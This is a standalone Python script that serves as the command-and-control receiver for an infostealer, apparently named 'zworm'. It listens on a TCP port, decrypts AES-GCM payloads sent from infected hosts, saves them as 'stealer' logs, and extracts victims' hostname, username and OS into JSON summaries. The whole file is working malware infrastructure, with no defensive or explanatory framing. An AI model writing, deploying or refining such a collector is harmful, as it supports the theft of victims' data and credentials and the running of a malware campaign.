#!/usr/bin/env python3
import socket, os, json, base64, datetime, threading, sys, ssl

C2_KEY = sys.argv[1] if len(sys.argv) > 1 else ""
OUTPUT = sys.argv[2] if len(sys.argv) > 2 else "/tmp/zworm_c2/logs"
PORT = int(sys.argv[3]) if len(sys.argv) > 3 else 8080

os.makedirs(OUTPUT, exist_ok=True)

def derive_key(k):
    key = bytearray(32)
    for i in range(32): key[i] = ord(k[i % len(k)]) ^ ((i * 7) & 0xFF)
    return bytes(key)

def parse_report(text):
    s = {"ts": str(datetime.datetime.now())}
    sec = ""; counts = {}
    for line in text.split("\n"):
        l = line.strip()
        if l.startswith("[") and l.endswith("]"):
            sec = l[1:-1]; counts[sec] = counts.get(sec, 0); continue
        if sec and l: counts[sec] += 1
    s["sections"] = counts
    import re
    for f2 in ["Hostname","Username","OS"]:
        m = re.search(f2 + ":\\s*(.+)", text)
        if m: s[f2.lower()] = m.group(1).strip()
    return s

def handle(c, a):
    try:
        c.settimeout(30)
        data = b""
        while True:
            ch = c.recv(65536)
            if not ch: break
            data += ch
            if len(data) > 10*1024*1024: break
        if data:
            raw = base64.b64decode(data)
            if len(raw) < 28: c.sendall(b"ERR"); return
            key = derive_key(C2_KEY)
            nonce, tag, ct = raw[:12], raw[-16:], raw[12:-16]
            try:
                from cryptography.hazmat.primitives.ciphers.aead import AESGCM
                pt = AESGCM(key).decrypt(nonce, ct + tag, None)
            except Exception:
                try:
                    from Crypto.Cipher import AES
                    ci = AES.new(key, AES.MODE_GCM, nonce=nonce)
                    pt = ci.decrypt_and_verify(ct, tag)
                except Exception:
                    c.sendall(b"ERR"); return
            ts = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
            fn = f"stealer_{ts}_{os.urandom(4).hex()}.log"
            fp = os.path.join(OUTPUT, fn)
            with open(fp, "wb") as f: f.write(pt)
            jn = fn.replace(".log", ".json")
            jp = os.path.join(OUTPUT, jn)
            with open(jp, "w") as f: json.dump(parse_report(pt.decode("utf-8", errors="replace")), f, indent=2, default=str)
            print(f"[+] {a[0]}:{a[1]} -> {fn} ({len(pt)} bytes)")
            c.sendall(b"OK")
        else: c.sendall(b"EMPTY")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally: c.close()

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", PORT))
srv.listen(5)
print(f"[*] Receiver on 0.0.0.0:{PORT}")
while True:
    c, a = srv.accept()
    threading.Thread(target=handle, args=(c, a), daemon=True).start()
